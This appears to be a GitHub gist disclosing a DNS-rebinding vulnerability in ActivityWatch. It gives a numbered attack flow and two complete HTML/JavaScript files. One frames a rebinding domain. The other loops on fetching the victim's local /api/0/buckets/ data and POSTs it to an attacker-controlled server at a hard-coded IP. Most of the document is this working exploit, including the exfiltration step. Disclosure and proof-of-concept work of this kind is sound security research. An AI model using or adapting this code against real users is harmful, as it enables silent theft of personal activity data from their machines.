

Instantly share code, notes, and snippets.

zozs / [README.md](#)

Secret

Last active 15 months ago

☆ Star

<> Code    Revisions 4    Stars 1

ActivityWatch disclosure

 [README.md](#)

## Attack flow

1. Victim visits `http://140.238.208.152:8081/awbuckets` because it looks like a cool blog or smth.
2. The script on `awbuckets.html` will dynamically load an iframe from the domain `A.140.238.208.152.1time.127.0.0.1.forever.randomPart.rebind.cryptosec.se` on port 5600.
3. The first time the browser does a DNS record for this domain, it will see the result `140.238.208.152`, and thus it will fetch the page `140.238.208.152:5600/exporter-buckets.html`.
4. The `exporter-buckets.html` page contains a JavaScript that does a `fetch()` for `/api/0/buckets/`, i.e. the same domain as it already is on. **Naturally, the browser believes this is the same origin.**
5. The domain `A.140.238.208.152.1time.127.0.0.1.forever.randomPart.rebind.cryptosec.se` has a short TTL (1 second). It has now expired. The browser does a new DNS request for the same domain.
6. The whonow DNS server now returns `127.0.0.1` as the IP of the domain, since it is the second time it gets a request. **The browser still consider this the same origin, since the domain is the same, even though the IP differs**
7. The browser happily accepts the result, and will now request `127.0.0.1/api/0/export`.
8. The attack scripts stores the result, and uploads it to some attacker controlled server.
9. Success!

## `<>` awbuckets.html

```
1  <html>
2    <head>
3      <meta charset="utf-8">
4      <meta name="referrer" content="unsafe-url">
5      <title>activitywatch dnsrebind</title>
6    </head>
7
8    <body>
9      <h1>sneaky little script</h1>
10
11     <p>
12       You should see something like "attack in progress" below, otherwise something went wrong :(
13     </p>
14
15     <script>
16       // Dynamically create an iframe with a dns-rebinding url and a unique uuid so we can repeat
17       function getRandomInt (min, max) {
18         min = Math.ceil(min)
19         max = Math.floor(max)
20         return Math.floor(Math.random() * (max - min) + min)
21       }
22
23       const randomPart = `awa-${getRandomInt(1000, 1000000000)}`
24       const randomRebindUrl = `A.140.238.208.152.1time.127.0.0.1.forever.${randomPart}.rebind.cri
25       // less elegant solution below.
26       // it only works 50% of the time (the first rebind must happen to be non-localhost)
27       // const randomRebindUrl = `7f000001.8ceed098.rbndr.us`
28
29       const ifrm = document.createElement("iframe")
30       ifrm.setAttribute("src", `http://${randomRebindUrl}:5600/exporter-buckets.html`)
31       ifrm.style.width = "640px"
32       ifrm.style.height = "480px"
33       document.body.appendChild(ifrm)
34     </script>
35   </body>
36 </html>
```

## `<>` exporter-buckets.html

```
1  <html>
2    <head>
3      <meta charset="utf-8">
4      <meta name="referrer" content="unsafe-url">
5      <title>activitywatch dnsrebind</title>
```

```

6     </head>
7
8     <body>
9     <h1>attack in progress</h1>
10    <p id="status">please wait while we export your activitywatch bucket names, this may take some
11
12    <script>
13        function sleep (ms) {
14            return new Promise(resolve => setTimeout(resolve, ms))
15        }
16
17        async function attack () {
18            while (true) {
19                try {
20                    const url = '/api/0/buckets/' // export all bucket names
21                    const response = await fetch(url, {
22                        method: 'GET',
23                        mode: 'no-cors',
24                        cache: 'no-cache',
25                        referrerPolicy: 'unsafe-url',
26                    })
27
28                    if (response.ok) {
29                        // we got a response, now post it to some shady site.
30                        const shadySite = 'http://140.238.208.152:8081'
31                        const data = await response.json()
32                        console.log('got activitywatch data:', data)
33                        // now send it as plaintext (to avoid cors preflight stuff)
34                        const collectUrl = `${shadySite}/collect`
35                        await fetch(collectUrl, {
36                            method: 'POST',
37                            mode: 'no-cors',
38                            cache: 'no-cache',
39                            headers: {
40                                'Content-Type': 'text/plain'
41                            },
42                            referrerPolicy: 'unsafe-url',
43                            body: JSON.stringify(data)
44                        })
45                        const elem = document.getElementById('status')
46                        elem.innerText = `attack finished, thanks for waiting! for your convenience, you c
47                        return
48                    }
49                } catch (e) {
50                    console.error(`failed attack, but will try again automatically, may need up to a min
51                }
52                await sleep(1000)
53            }
54        }

```

```
55
56     attack().then(res => console.log('attack seemed to work')).catch(e => console.error(`did n
57 </script>
58 </body>
59 </html>
```

